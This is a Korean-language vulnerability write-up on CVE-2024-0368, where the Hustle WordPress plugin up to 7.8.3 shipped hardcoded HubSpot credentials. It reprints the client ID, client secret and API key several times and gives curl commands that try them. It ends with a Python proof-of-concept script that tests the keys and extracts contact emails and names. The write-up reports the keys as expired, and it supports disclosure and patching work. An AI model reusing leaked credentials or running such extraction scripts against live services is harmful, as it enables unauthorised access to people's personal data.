
Hustle Plugin <= 7.8.3에는 inc/providers/hubspot/hustle-hubspot-api.php에 하드코딩된 HubSpot API 자격 증명이 포함되어 있습니다.
Hustle 플러그인 <= 7.8.3은 inc/providers/hubspot/hustle-hubspot-api.php에 하드코딩된 HubSpot API 자격 증명을 포함하고 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2024-0368 |
| 제목 | Hustle <= 7.8.3 - 노출된 HubSpot API 키를 통한 민감 정보 노출 |
| CVSS 점수 | 8.6 (높음) |
| 영향받는 플러그인 | Hustle - 이메일 마케팅, 리드 생성, 옵트인, 팝업 (wordpress-popup) |
| 취약한 버전 | <= 7.8.3 |
| 패치된 버전 | 7.8.4 |
| 취약점 유형 | CWE-200: 민감 정보 노출 |
파일: inc/providers/hubspot/hustle-hubspot-api.php
class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {
const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a';
const BASE_URL = 'https://app.hubspot.com/';
const API_URL = 'https://api.hubapi.com/';
const SCOPE = 'oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write';
하드코딩된 OAuth 구성은 다음 HubSpot 범위를 요청했습니다.
oauth - OAuth 인증crm.objects.contacts.write - 연락처 생성/수정crm.objects.contacts.read - 연락처 정보 읽기 (개인식별정보)crm.lists.read - 마케팅 목록 읽기crm.lists.write - 마케팅 목록 수정crm.schemas.contacts.write - 연락처 스키마 수정crm.schemas.contacts.read - 연락처 스키마 읽기WPMUDEV는 자체 HubSpot OAuth 애플리케이션 자격 증명을 플러그인 소스 코드에 직접 하드코딩했습니다. 이는 안전한 개발 관행을 위반하며 그 이유는 다음과 같습니다.
공격자는 다음을 수행할 수 있습니다.
유효한 자격 증명을 통해 공격자는 잠재적으로 다음을 수행할 수 있습니다.
# From WordPress installation
cat wp-content/plugins/wordpress-popup/inc/providers/hubspot/hustle-hubspot-api.php | grep -A3 "const CLIENT"
출력:
const CLIENT_ID = '5253e533-2dd2-48fd-b102-b92b8f250d1b';
const CLIENT_SECRET = '2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca';
const HAPIKEY = 'db9600bf-648c-476c-be42-6621d7a1f96a';
curl -X GET "https://api.hubapi.com/crm/v3/objects/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a&limit=10"
참고: 테스트 시점 기준, API 키가 교체/만료되었습니다 (공개 후 예상됨):
{
"status": "error",
"message": "The API key used to make this call is expired.",
"category": "EXPIRED_AUTHENTICATION"
}
curl -X POST "https://api.hubapi.com/oauth/v1/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=client_credentials&client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b&client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca"
응답: 자격 증명이 무효화되었습니다.
#!/usr/bin/env python3
"""
CVE-2024-0368 - HubSpot API Key Exposure PoC
Hustle Plugin <= 7.8.3
This script demonstrates the vulnerability by attempting to use
the exposed credentials to access HubSpot API.
For authorized security testing only.
"""
import requests
import json
# Hardcoded credentials from vulnerable plugin
CREDENTIALS = {
"client_id": "5253e533-2dd2-48fd-b102-b92b8f250d1b",
"client_secret": "2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca",
"hapikey": "db9600bf-648c-476c-be42-6621d7a1f96a"
}
HUBSPOT_API = "https://api.hubapi.com"
def test_api_key():
"""Test if the leaked API key is still valid"""
print("[*] Testing HubSpot API Key...")
url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
params = {"hapikey": CREDENTIALS["hapikey"], "limit": 1}
response = requests.get(url, params=params)
data = response.json()
if response.status_code == 200:
print("[+] API Key is VALID - Vulnerability Exploitable!")
print(f"[+] Retrieved contact data: {json.dumps(data, indent=2)}")
return True
else:
print(f"[-] API Key status: {data.get('message', 'Unknown error')}")
return False
def test_oauth():
"""Test OAuth client credentials"""
print("[*] Testing OAuth credentials...")
url = f"{HUBSPOT_API}/oauth/v1/token"
data = {
"grant_type": "client_credentials",
"client_id": CREDENTIALS["client_id"],
"client_secret": CREDENTIALS["client_secret"]
}
response = requests.post(url, data=data)
result = response.json()
if "access_token" in result:
print("[+] OAuth credentials VALID - Got access token!")
return result["access_token"]
else:
print(f"[-] OAuth status: {result.get('message', 'Invalid credentials')}")
return None
def extract_contacts(api_key=None, access_token=None):
"""Extract contacts if credentials are valid"""
print("[*] Attempting to extract contacts...")
url = f"{HUBSPOT_API}/crm/v3/objects/contacts"
headers = {}
params = {"limit": 100}
if access_token:
headers["Authorization"] = f"Bearer {access_token}"
elif api_key:
params["hapikey"] = api_key
response = requests.get(url, headers=headers, params=params)
if response.status_code == 200:
contacts = response.json()
print(f"[+] Successfully extracted {len(contacts.get('results', []))} contacts")
for contact in contacts.get("results", [])[:5]:
props = contact.get("properties", {})
print(f" - {props.get('email', 'N/A')} | {props.get('firstname', '')} {props.get('lastname', '')}")
return contacts
return None
if __name__ == "__main__":
print("=" * 60)
print("CVE-2024-0368 - Hustle Plugin HubSpot API Key Exposure")
print("=" * 60)
print()
# Test leaked credentials
api_valid = test_api_key()
access_token = test_oauth()
print()
if api_valid or access_token:
print("[!] VULNERABILITY CONFIRMED - Credentials are still active!")
extract_contacts(
api_key=CREDENTIALS["hapikey"] if api_valid else None,
access_token=access_token
)
else:
print("[*] Credentials have been rotated (expected post-disclosure)")
print("[*] Vulnerability exists in code - credentials were exposed")
print()
print("=" * 60)
환경:
자격 증명 상태:
HAPIKEY): 만료/교체됨 (공개 후)결론: 취약점이 확인되었습니다 - 하드코딩된 자격 증명이 소스 코드에 존재하며 이전에 악용 가능했습니다. WPMUDEV는 책임 있는 공개 이후 자격 증명을 교체했습니다.
패치는 하드코딩된 자격 증명을 제거하고 적절한 자격 증명 저장소를 구현합니다.
| 날짜 | 이벤트 |
|---|---|
| 2024-01-05 | CVE-2024-0368 게시 |
| 2024-03-08 | 버전 7.8.4에서 패치 릴리스 |
| 공개 후 | WPMUDEV에 의해 자격 증명 교체 |
승인된 보안 연구 목적으로 생성됨
| 자격 증명 | 값 | 용도 |
|---|
CLIENT_ID | 5253e533-2dd2-48fd-b102-b92b8f250d1b | OAuth2 애플리케이션 식별자 |
CLIENT_SECRET | 2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca | OAuth2 클라이언트 시크릿 |
HAPIKEY | db9600bf-648c-476c-be42-6621d7a1f96a | HubSpot 레거시 API 키 |